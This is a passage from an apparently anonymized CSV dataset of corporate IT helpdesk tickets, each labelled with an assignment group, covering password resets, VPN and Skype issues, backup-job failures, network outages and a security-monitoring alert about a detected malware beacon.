with models not being returned to engineering_tool._x000D_ +engineering_tool will be demoed at imts starting on monday the 12th. _x000D_ +need an urgent fix to revert any changes that might have been made to the file naming convention for files from the design_tool service._x000D_ +_x000D_ +below are the original rules uli had implemented for file names for cad files returned by this service._x000D_ +here are the implemented naming rules:_x000D_ +_x000D_ +• if there is a cad_catalog_iso it's taken, _x000D_ +o else if there is a cad_catalog_ansi it's taken,_x000D_ + else rqfhiong zkwfqagb is taken_x000D_ +• an underscore plus cad_graph_type is added _x000D_ +• finally the original file extension is added_x000D_ +_x000D_ +",GRP_25 +ticket update on inplant_858893 ticket update on inplant_858893,GRP_0 +dell 7350 tablet cracked after it was accidentally dropped. dell 7350 tablet cracked after it was accidentally dropped,GRP_3 +"approval workflow problems _x000D_ +i am approfghaching you, as we have problems with our approval workflow for credit memo requests respectively rmas._x000D_ +i opened several tickets regarding this topic, which unfortunately did not lead to a final solution._x000D_ +maybe it is a (erp-) language problem for my part._x000D_ +anyway, i hope, that you can help to get this fixed._x000D_ +_x000D_ +the approval levels for our organization are as follows (regardless who is the sales person in customer account)_x000D_ +level 1 (1.000€-4.999€): jwqyxbzs adpvilqu (afcbrhqw vudghzcb as subsitute, if possible)_x000D_ +level 2 (5.000€-9.999€): jwqyxbzs adpvilqu (afcbrhqw vudghzcb as substitute if possible)_x000D_ +level 3 (10.000€-24.999€): qsoxltny dzjespml (tjnwdauo jkdwbhgs as substitute if possible)_x000D_ +level 4 (25.000€ plus): michghytuael rünz (tjnwdauo jkdwbhgs as substitute if possible)_x000D_ +_x000D_ +it often happens, that these workflows are routed to the wrong person._x000D_ +lauacyltoe hxgaycze example: rma 7611183856 was routed to me at level 1 and approved, but then to jmkcewds qkoipbzn at level 2, wo has nothing to do with it._x000D_ +_x000D_ +it takes a lot of time, to gather the wrong routed workflows and to forward them to the responsible person._x000D_ +_x000D_ +i appreciate your help._x000D_ +",GRP_13 +sound not working sound not working,GRP_0 +"erp will not open + +received from: nkthumgf.mwgdenbs@gmail.com + +hi, +is erp down for vpn users? i keep getting this error every time i try to log on to SID_34. i was in erp @ 2 hrs ago with no troubles. please help. + +[cid:image001.png@01d20a93.c5047641] + +nkthumgf mwgdenbs +nkthumgf.mwgdenbs@gmail.com +ph: + + + +",GRP_0 +update on inplant_857663 update on inplant_857663,GRP_0 +i'm trying to print to our network printer savin c2525 i'm trying to print to our network printer savin c2525,GRP_0 +i was kicked out of vpn but i am reconnected now. vpn stopped working but i was able to reconnected after a few minutes.,GRP_0 +"job Job_1348a failed in job_scheduler at: 09/09/2016 11:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348a failed in job_scheduler at: 09/09/2016 11:10:00",GRP_9 +error when logging in to hana please see attached error that i receive when trying to log in to hana,GRP_9 +unable to login to SID_1 unable to login to SID_1,GRP_0 +i am locked out of global view prtgghj4k. i need my password reset. this is very urgent as i have payroll reports i must pull i am locked out of global view prtgghj4k. i need my password reset. this is very urgent as i have payroll reports i must pull from there this morning.,GRP_0 +windows password reset for tinmuym alrthyu windows password reset for tinmuym alrthyu,GRP_0 +"ltcl8513156 - hgmx5q1 - e6420 rarty has this old laptop that he needs to login to but cannot when it is connected to the network. error: security database on the server does not have a computer account for this workstation trust relationship ... +he can once its not connected with an old password. he needs to play some cds and his new laptop does not have a cd drive. +please see why this laptop cannot be found in ad. +ph: 5446",GRP_3 +skype audio is not working skype audio is not working ,GRP_0 +"vpn vpn is not working, need urgent help _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d20aae.bff38300]_x000D_ +_x000D_ +best ",GRP_0 +hr_engineering_tools - unable to run reports from etime unable to run reports from etime,GRP_0 +unable to launch business_client - .net framdntyework needs to be installed initiated the download of .net 4.5.2,GRP_19 +account unlock - erp SID_34 unlocked the account. todd was able to get in successfully,GRP_0 +unable to launch skype unable to launch skype,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +"unable to log into skype _x000D_ +_x000D_ +received from: muywpnof.prtikusy@gmail.com_x000D_ +_x000D_ +hello,_x000D_ + i am getting an error trying to log into skype. my address is correct, log in id is correct, and password is correct and have tried a few times and get the same error. what do i need to do be able to log into skype._x000D_ +",GRP_0 +"account number incorrect : urgent , trurthyuft,_x000D_ +_x000D_ +per our converstion and shatryung of my screen on teamviewer this morning below is a screen shot of the account issue._x000D_ +_x000D_ +if you look at opportstorage_product number mdoSID_3487210 it has the correct account number for the customer 81211699. that opp was created on 7/13/16 and there was no problem selecting that correct account number._x000D_ +_x000D_ +all of the other opportunities were created more recently (after 8/15/16) and i was only able to choose account number 81991714, which is not the correct account number._x000D_ +_x000D_ +i need to close these out today as won._x000D_ +",GRP_40 +erp engineering tool locked out erp engineering tool locked out ,GRP_0 +"bahdqrcs xvgzdtqj's onbankrding experience _x000D_ +_x000D_ +received from: xzupryaf.vlbikhsm@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +bahdqrcs xvgzdtqj was an intern that we hired on full-time effective aug. 16th. we followed the process of having her old manager transfer her to her new manager in oneteam and then her new manager entered her new job and compensation information like he's been instructed to. however, i have to be honest, her onbankrding experience has been a disaster so far. she says that every time she calls hrss to help her out, they are not very helpful or resolve her issues. hrss will tell her it's an ""it problem"" and it will tell her that it's an ""hr problem."" here are some of the issues that she's still having:_x000D_ +_x000D_ +_x000D_ +1. no access to benefit information on collaboration_tool – when she follows the directions that she was given, she gets an error message that says ""needs approval, request has been submitted.""_x000D_ +_x000D_ +2. no ethics access_x000D_ +_x000D_ +3. no expense report access – she was able to enter her expense report, however when she went to submit it she got an error message and now when she tries to log-in, she gets an error message. it said that this is an it problem._x000D_ +_x000D_ +4. no access to the vpn – again, it said that hr needs to update the SID_34? i'm not really sure what that is._x000D_ +_x000D_ +5. incorrect paychecks – she did not receive a paycheck on 8/30. i told her that depending when her information was processed, payroll might not have caught the fact that she's salary now and then it should all be corrected on her 9/15 paycheck. sharee emailed her yesterday and made it sound like everything was going to be corrected on her 9/15 paycheck, but then sent a follow-up email saying that because u2 already ran, she was not going to be able to backdate and the effective date for this change was going to have to be 9/1. she wants liuytre to provide her hours worked from 8/18 – 8/31. this is not going to work because liuytre stopped tracking her hours since she is now a salaried employee. she was also at a company conference the week of 8/22 and ""technically"" worked way more than 40 hours that week because she was part of meetings, dinners and after hours' team building activities._x000D_ +_x000D_ +can someone from it and shared services be her ""designated"" contact and work with her through these issues until everything is figured out? if something is an it issue, can hrss follow-up with it so she's not being passed back and forth? she is beyond frustrated and only has until next friday to figure out her benefits before her eligibility timeframdntye is up._x000D_ +_x000D_ +",GRP_0 +password reset erp SID_34 password reset erp SID_34,GRP_0 +interface: fc3/34 · HostName_1147 on sandplant_162 is down since 7:38 am on 09/09 et interface: fc3/34 · HostName_1147 on sandplant_162 is down since 7:38 am on 09/09 et,GRP_8 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +vpn queries vpn queries ,GRP_0 +"vpn + +received from: marhty.financial@company.com + +hello: + +i get the following error when i try to start vpn. also, if i try to do the install it says i need admin rights. + +[cid:image001.png@01d20a6f.7ac627e0] + +best ",GRP_0 +please take snapshot of vms manually under HostName_589 please take snapshot of vms manually under HostName_589 ,GRP_12 +skype content not showing up in meeting skype content not showing up in meeting ,GRP_0 +"error: trust relationship between this workstation and the primary domain failed email:oewshlmd.azjfshry@gmail.com +customer number: +telephone: +summary: when i am away from my computer for a length of time, or sometimes at start up i am getting the following error message ""the trust relationship between this workstation and the primary domain failed."" it is a pain to keep having to totally reboot my computer when i am away from my desk for a time.",GRP_0 +"skype - meetinmg button + +received from: blktuiae.jzakfmhw@gmail.com + +dear it + +i lost my skpe-button + + +view of a colleagues + +[cid:image001.png@01d20a9c.2d7e8d10][cid:image002.png@01d20a9c.2d7e8d10] + + +my view + +[cid:image003.png@01d20a9c.2d7e8d10] + + +günter webfnhtyer +manager sourcing +blktuiae.jzakfmhw@gmail.com +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq +",GRP_0 +outlook not loading. outlook not loading.,GRP_0 +finance_app time out error. finance_app time out error.,GRP_55 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"account extension for fqiurzas eidtfbqk - vvlfbhtyeisd account extension for fqiurzas eidtfbqk - vvlfbhtyeisd +extend the account for another six months.",GRP_2 +"job bkwin_ms_cluster_inc failed in job_scheduler at: 09/09/2016 06:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_ms_cluster_inc failed in job_scheduler at: 09/09/2016 06:35:00",GRP_8 +"audio stop working after company update audio device stoped working after company update , show the message ""no audio output device is installed"", _x000D_ +more coworkers have had this trouble. _x000D_ +",GRP_62 +unable to login to vcenter HostName_589 through vsphere client unable to login to vcenter HostName_589 through vsphere client. kindly check the issue.,GRP_12 +"unable to create delivery - shipments iak please provide the following:_x000D_ +_x000D_ +what order number? _x000D_ +_x000D_ +what material or item number? 4752761_x000D_ +_x000D_ +what warehouse location? apac_x000D_ +_x000D_ +issue description / error message? please check attached",GRP_6 +"uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to the wrong server uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to the wrong server. she would have these units on HostName_622_x000D_ +pc name: ekxw8111221_x000D_ +_x000D_ +",GRP_0 +usb ports not detecting devices usb ports not detecting devices,GRP_19 +"ewel8323721 - konto einlegen. ewel8323721 - konto einlegen _x000D_ +_x000D_ +assigning it yevirgnl ylhogjct per ughzilfm cfibdamq.",GRP_33 +"travel expense manager (erp transaction pr05) not working _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +travel expense manager (erp transaction pr05) not working anylonger ?_x000D_ +_x000D_ +can't start it, s. below._x000D_ +_x000D_ +[cid:image001.png@01d20a8a.c63eba50]_x000D_ +_x000D_ +best ",GRP_10 +query from ; avmeocnk.mvycfwka@gmail.com query from ; avmeocnk.mvycfwka@gmail.com,GRP_0 + e-mail has been sent to the company quarantine database e-mail has been sent to the company quarantine database,GRP_26 +kabel vga defekt\ zedlet kabel vga defekt\ zedlet ,GRP_24 +install kis \ewew8323506 \guvgytniak install kis \ewew8323506 \guvgytniak,GRP_24 +install kis \ewew8323504 \zlqfptjx xnklbfua install kis \ewew8323504 \zlqfptjx xnklbfua,GRP_24 +install zebra \we_wu102 \pfjwinbg ljtzbdqg install zebra \we_wu102 \pfjwinbg ljtzbdqg,GRP_24 +install company barcode für ewew8323504 \vzqomdgt jwoqbuml install company barcode für ewew8323504 \vzqomdgt jwoqbuml,GRP_24 +install company barcode für ewew8323506 \vzqomdgt jwoqbuml install company barcode für ewew8323506 \vzqomdgt jwoqbuml,GRP_24 +"job Job_1348 failed in job_scheduler at: 09/09/2016 04:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348 failed in job_scheduler at: 09/09/2016 04:32:00",GRP_9 +"答复: shipments iak _x000D_ +_x000D_ +received from: wqzarvhx.hfsojckw@gmail.com_x000D_ +_x000D_ +hi,all_x000D_ +i move shipping date to 10th, dn 9169268127 created, pls help to ship out, ",GRP_18 +"job bk_bia_bobje failed in job_scheduler at: 09/09/2016 04:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_bia_bobje failed in job_scheduler at: 09/09/2016 04:34:00",GRP_5 +"security incidents - ( #in33826812 ) : possible malware phone home request - rgtw7402550 source ip :83.54.03.93209 +system name :rgtw8513661 +user name:workstation/server +location :usa nvyjtmca xjhpznds/traversecitymi +sep , sms status : +field sales user ( yes / no) : +dsw event log: +------------------------------------------------------------------------------------ +========================= +incident overview +========================= +the ctoc has received at least 7 occurrences of '51444 vid67392 malware defender fakeav phone home' alerts from your isensor device (10.32.100.17/isensor03.company.com) for traffic (not blocked) sourcing from port 52985/tcp of rgtw8513661/83.54.03.93209 destined to port 80/tcp of 204.154.110.244 (wilmington, usa) that occurred on 2016-09-09 at 04:32:25. + +the outbound http traffic from the infected device contained the following method data: +protocol: tcp +http method: post +http version: http/1.1 +domain: tps10234.doubleverify.com +url path: /event.jpg +user-agent: mozilla/5.0 (windows nt 6.1) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 +content length: 15 + +we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at . +1) ticket only escalation for related events (medium priority ticket and an e-mail only notification). +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal). + +sincerely, + ctoc + + +========================= +event data +========================= +related events: [[2 of 2 events not shown due to space constraints]]",GRP_3 +"efdl8111235 - need add. software installed on my new latitude e5470 - storch - tel.: -341 efdl8111235 - need add. software installed on my new latitude e5470 - storch - tel.: -341_x000D_ +_x000D_ +- archiving_tool viewer_x000D_ +- hardcopy_x000D_ +- reisekosten",GRP_28 +arbeitsplatz: pc+telefon in germany im büro küffner/wölfel einrichten auf grund das ich ab jetzt einen tag in der woche in germany bin um die azubis die in germany stationiert sind zu betreuen benötige ich einen arbeitsplatz in germany.,GRP_33 +"access to below applications _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +please provide the access to below applications._x000D_ +_x000D_ +1. company engineering tool._x000D_ +_x000D_ +2. business_client_x000D_ +_x000D_ +",GRP_0 +need to add lxkecjgr fwknxupq to shared mailbox need to add lxkecjgr fwknxupq to shared mailbox,GRP_0 +"erp transaktion pr05 funktioniert nicht + +received from: ida.financial@company.com + +hallo, + +die erp transaktion pr05 zeigt folgende fehlermeldung: + + +[cid:image001.png@01d20a74.bee4de80] + +mit freundlichen grüßen + +ida financial +quality technician + +email: ida.financial@company.com + + +geschäftsführer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq + +",GRP_10 +"erp SID_34 account password is locked + +received from: fwkxbley.stndeick@gmail.com + +hi: +users: sonhygg + +erp SID_34 account password is locked, unlock help,",GRP_0 +"security incidents - ( #in33826812 ) : possible malware phone home request - rgtw7402550 source ip :83.54.03.93209 +system name :rgtw8513661 +user name:workstation/server +location :usa nvyjtmca xjhpznds/traversecitymi +sep , sms status : +field sales user ( yes / no) : +dsw event log: +------------------------------------------------------------------------------------ +========================= +incident overview +========================= +the ctoc has received at least 7 occurrences of '51444 vid67392 malware defender fakeav phone home' alerts from your isensor device (10.32.100.17/isensor03.company.com) for traffic (not blocked) sourcing from port 52985/tcp of rgtw8513661/83.54.03.93209 destined to port 80/tcp of 204.154.110.244 (wilmington, usa) that occurred on 2016-09-09 at 04:32:25. + +the outbound http traffic from the infected device contained the following method data: +protocol: tcp +http method: post +http version: http/1.1 +domain: tps10234.doubleverify.com +url path: /event.jpg +user-agent: mozilla/5.0 (windows nt 6.1) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 +content length: 15 + +we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at +1) ticket only escalation for related events (medium priority ticket and an e-mail only notification). +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal). + +sincerely, + ctoc + + +========================= +event data +========================= +related events: [[2 of 2 events not shown due to space constraints]]",GRP_2 +"wifi guest account + +received from: scjxobhd.ldypjkmf@gmail.com + +hello help team, + +a meeting is scheduled at fürth on september 14 & 15. +can you pls. arrange wifi guest accounts for the two external trainers for both days: + +names: + + +1. utthku tehrsytu +email: utthku.tehrsytu@de.bosch.com + +2. uwe tryhutehdtui +email: uwe.tryhutehdtui@de.bosch.com + +",GRP_0 +"unlock exchange active sync for ios for vmthcrkf iceyusnd (pipfhypeu) : company device. _x000D_ +_x000D_ +received from: xvwchsdg.pladjmxt@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +is it possible to have exchange active sync for ios unlocked in advance prior to getting the normal email which shall be forwarded??_x000D_ +_x000D_ +vmthcrkf iceyusnd will be receiving his iphone today and it would be good if he can use it immediately._x000D_ +_x000D_ +best ",GRP_0 +printer problem / issue information bei mp60 funktioniert das fax nicht mehr.,GRP_33 +"ordner mbs _x000D_ +_x000D_ +received from: pnroqajb.psbyfhkg@gmail.com_x000D_ +_x000D_ +hallo helpteam,_x000D_ +_x000D_ +im departmentlaufwerk von germany steel ist im ordner ehs der unterordner mbs verschwunden. bitte wieder herstellen._x000D_ +_x000D_ +vielen dank!_x000D_ +_x000D_ +viele grüße / best ",GRP_0 +"outlook search not working. well i have an issue with search tool of my outlook_x000D_ +whenever i m connected to net, it works but when m working offline, it does nt wrk at all",GRP_26 +"please help enable the o365 video service die angehängten video die ich per e-mail über office 365 bekommen lassen sich nicht öffnen!!_x000D_ +_x000D_ +die videos von ""let´s talk"" kann ich nicht ansehen.",GRP_16 +ie browser issue ie browser issue ,GRP_0 +engineering_tool :company issue engineering_tool :company issue : forbidden error,GRP_0 +"attendance_tool login issue +summary:problem with attendance_tool",GRP_0 +"login problem with attendance_tool portal + +received from: jchlkard.tcaiyjfg@gmail.com + +dear sir, + +im facing a problem to login in attendance_tool portal. + +please help to solve the issue. + +",GRP_0 +"network outage: united kingdom(company): united kingdom-company-dmvpn-1811-rtr02 went down at 11:03 pm et on 09/08. backup is up what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______11:03 pm et on 09/08. ________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ___na_____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job bkwin_search_server_dev_daily failed in job_scheduler at: 09/08/2016 23:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 10 _x000D_ + failed disk agents ........... 0 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 10 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 1 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 2 _x000D_ + =========================================== _x000D_ + mbytes total ................. 58614 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 0 _x000D_ +_x000D_ +===============================================================_x000D_ +job bkwin_search_server_dev_daily failed in job_scheduler at: 09/08/2016 23:22:00",GRP_8 +"copy window 7 at monitor _x000D_ +_x000D_ +received from: ujbaemlc.ilzhrxjo@gmail.com_x000D_ +_x000D_ +hi team_x000D_ +_x000D_ +please fix problem copy window 7 at monitor, ",GRP_0 +"job SID_38hotf failed in job_scheduler at: 09/08/2016 22:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bma@HostName_1302.hq.company.com ""lib6_drive1"" time: 9/8/2016 10:01:54 pm_x000D_ +[90:51] /dev/rmt36.1_x000D_ + cannot write to device ([5] i/o error)_x000D_ +_x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 14 _x000D_ + failed disk agents ........... 1 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 15 _x000D_ + =========================================== _x000D_ + completed media agents ....... 0 _x000D_ + failed media agents .......... 2 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 2 _x000D_ + =========================================== _x000D_ + mbytes total ................. 378146 mb _x000D_ + used media total ............. 2 _x000D_ + disk agent errors total ...... 1 _x000D_ +_x000D_ +===============================================================_x000D_ += exit status : 11_x000D_ += system time (seconds) : 0 elapsed time (minutes) : 82_x000D_ += user time (seconds) : 0_x000D_ += thu 09/08/16 22:05:23 eastern daylight time_x000D_ +===============================================================_x000D_ +_x000D_ +job SID_38hotf failed in job_scheduler at: 09/08/2016 22:05:00",GRP_5 +outlook 打开启动提示错误。 outlook 打开启动提示错误。,GRP_31 +"job Job_2555 failed in job_scheduler at: 09/08/2016 22:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2555 failed in job_scheduler at: 09/08/2016 22:00:00",GRP_8 +"india , company-ap-ind--pu5-lean-2960s-stack-sw01 went down on 9/8/2016 7:59 pm india , company-ap-ind-kirty-pu5-lean-2960s-stack-sw01 went down on 9/8/2016 7:59 pm +gigabitethernet1/0/52 · uplink to company-ap-ind--pu5-lean-2960s-stack-sw01 on company-ap-ind-pu5-gf-2960s-access-sw01.company.com is down",GRP_8 +"转发: finished: start of s&op process _x000D_ +_x000D_ +received from: lkrfndev.kztlojin@gmail.com_x000D_ +_x000D_ +hello，it help_x000D_ +_x000D_ +since our territory sales director has been resigned ,i need response for reviewing forecast in future，can you please help assign this approval authorization（s&op），",GRP_0 +"i have a erp issue. reversed dn 9168001220 for sales order 35934132 when i went to valn2 to complete delivery. i get thi name:maghyuigie ghjkzalez +language: +browser:microsoft internet explorer +email:houcdelq.wnypackq@gmail.com +customer number: +telephone: +summary:hi it team +i have a erp issue. reversed dn 9168001220 for sales order 35934132 when i went to valn2 to complete delivery. i get this message value of modific. counter for doc 1146045243 in supply_chain is 0, but should be 5 please help.",GRP_6 +"skype audio not working skype audio not working._x000D_ +-connected to the user system using teamviewer._x000D_ +-updated the audio drivers after checking the sound settings._x000D_ +-restarted the pc._x000D_ +-audio is now working fine._x000D_ +-issue resolved._x000D_ +",GRP_0 +"job Job_562 failed in job_scheduler at: 09/08/2016 17:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_562 failed in job_scheduler at: 09/08/2016 17:53:00",GRP_8 +"job SID_39hotf failed in job_scheduler at: 09/08/2016 17:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39hotf failed in job_scheduler at: 09/08/2016 17:54:00",GRP_5 +"netzwerkkabel des erp druckers verlängern, netzwerkkabel des erp druckers em 19 verlängern (büro heiner sponsel)",GRP_42 +need to add the pc lvlw8517820 to domain need to add the pc lvlw8517820 to domain ,GRP_0 +"erp netweaver business client will not open drawings. name:xyjkndus ltcevgap +language: +browser:microsoft internet explorer +email:xyjkndus.ltcevgap@gmail.com +customer number: +telephone: +summary:erp netweaver business client will not open drawings.",GRP_11 +"what is the easiest way to change all of my passwords? name:slrgconp onukdesq +language: +browser:microsoft internet explorer +email:slrgconp.onukdesq@gmail.com +customer number: +telephone: +summary:what is the easiest way to change all of my passwords?",GRP_0 +ticket update for ticket_no0438583 ticket update for ticket_no0438583,GRP_0 +unable to log in to engineering tool unable to log in to engineering tool,GRP_0 +user name for fabxjimdghtyo depfugcy user name for fabxjimdghtyo depfugcy ,GRP_0 +"vip 2: printer hr14 not printing pdf document. printer hr14 not printing pdf document. +-connected to the user system using teamviewer +-deleted the printer and readded the printer , able to print word docs,not able to print pdf docs. +-user has been having this issue again. +-user needs a local it take a look aerp. +computer name: lhol8516104 +-contact: ",GRP_3 +"password reset name:mfeyouli ndobtzpw +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:please reset windows password and erp password for laffekr",GRP_0 +"vendor needs to save files to his local pc. hi,_x000D_ +_x000D_ +please reference inc1548324. i have another vendor - vvnookr - involved in the usa carve-out project that needs to save files to his local pc. can you add vvnookr to the exceptions group? nicrhty edmhihryu will approve if necessary. _x000D_ +_x000D_ +",GRP_12 +"erp runtime error.....this is what i'm eventually seeing _x000D_ +_x000D_ +received from: jbfmsxik.mfzjncva@gmail.com_x000D_ +_x000D_ +good afternoon:_x000D_ +_x000D_ +i'm having some difficulty looking up some top notch drawings…i keep getting this ""time out"" error screen come up. i'm looking these drawings up under the cv04n page. i was directed to do the following to see these top notch drawings. i'm not sure if it's a permissions problem or an erp problem. any way you all could shed some light on this??_x000D_ +_x000D_ +_x000D_ +[cid:image002.png@01d209e4.3e33a090]_x000D_ +_x000D_ +here's what i get when i try to look up those drawings….._x000D_ +_x000D_ +[cid:image001.png@01d209b7.ee5552c0]_x000D_ +_x000D_ +",GRP_0 +ticket update for inplant_858584 ticket update for inplant_858584,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +"snagit + +received from: lucgnhda.carthy@company.com + +does company have a corporate license for snagit editor 12? + +-- +qmglkaru qiwhfkdv +manager business systems, +lucgnhda.carthy@company.com + +crm news! +it's here! with the final release of the fy16 dynamics crm project, the microsoft dynamics crm mobile app is now available for download for all crm users. the app can be installed on any ios, android or windows phone or tablet, including the dell 2-in-1 windows 8.1 tablet/laptop. +for more details on the app, watch the launch video< + +need help with your dynamics crm? +click here< + +chat with a live agent about your dynamics crm now! click here< + + + + +",GRP_0 +"unable to open outlook name:oikhfqyl gcknzthb +language: +browser:microsoft internet explorer +email:oikhfqyl.gcknzthb@gmail.com +customer number: +telephone: +summary:cannot get onto outlook. just get the blue screen with the dots moving at the bottom. tried cold boot thrgxqsuojr xwbesorfs.",GRP_0 +"user harrfgyibs locked out of erp mii system. user harrfgyibs locked out of erp mii system. +help the user login after unlocking the user account. +-issue resolved.",GRP_0 +"job Job_1388 failed in job_scheduler at: 09/08/2016 13:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 09/08/2016 13:20:00",GRP_9 +telecom_vendor_3 dongle help to configure the dongle on new laptop.,GRP_19 +id04 printer printer setup,GRP_19 +id 08 printer issue id08 printer not working,GRP_19 +"user wants this messgage recall aerp.-urgent user wants this messgage recall aerp.-urgent +",GRP_26 +erp response time is very long - even for simple transactions - please check - plant vSID_62 is reporting. erp response time is very long - even for simple transactions - please check - plant vSID_62 is reporting.,GRP_0 +"circuit outage: apac company secondary vpn circuit is down since 12:34 pm on 09/08 et site is up on primary mpls what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __yes__(slo)_ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______12:34 pm on 09/08 et ________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___na____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____na__ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____na_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _____na____________________ _x000D_ +_x000D_ +12. notified gsc __na______ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +ticket update on ticket_no0434290 ticket update on ticket_no0434290,GRP_0 +outlook constantly freezes up. contact me @ xt 154712 if needed. no error messages.,GRP_0 +unable to update password on password_management_tool unable to update password on password_management_tool,GRP_0 +mapping network drive mapping network drive,GRP_0 +"cad pc for main training room _x000D_ +_x000D_ +received from: gdkiehbr.kdithjsr@gmail.com_x000D_ +_x000D_ +please configure and install a cad machine under the av cabinet in the new training room. the machine needs the standard cad configuration. please also install a wireless mouse, keybankrd, and 3d cad manipulator._x000D_ +the machine will need to be setup for multiple users to sign on with their credentials. per the request of ehs it will also need a dvd drive to play safety training videos._x000D_ +",GRP_3 +"sent from snipping tool _x000D_ +_x000D_ +received from: tfesaxip.cvorpnth@gmail.com_x000D_ +_x000D_ +unable to convert a planned order for this item. also unable to create a production order for this item. received this error message both times._x000D_ +_x000D_ +_x000D_ +",GRP_45 +"drive2 is not responding to mount requests for library-5, drive2 is not responding to mount requests for library-5, ",GRP_8 +"cannot log into skype _x000D_ +_x000D_ +received from: lijrvdgh.wfhmdsoa@gmail.com_x000D_ +_x000D_ +i cannot log into skype. it is saying my credentials are bad._x000D_ +_x000D_ +",GRP_0 +vm lhqsm68267 taking excessive length of time to release backup snapshot. the backup_tool backup for lhqsm68267 is taking over 14 hours to release the snapshot at the end of the backup. can you look at this vm and advise if there is a problem with lhqsm68267.,GRP_12 +ticket update on inc1549550 ticket update on inc1549550 ,GRP_0 +password reset for erp SID_34 account password reset for erp SID_34 account,GRP_0 +"quantum oracle database connection is not working HostName_1317 and HostName_1316 databases listener is not functioning when ever we try to uacyltoe 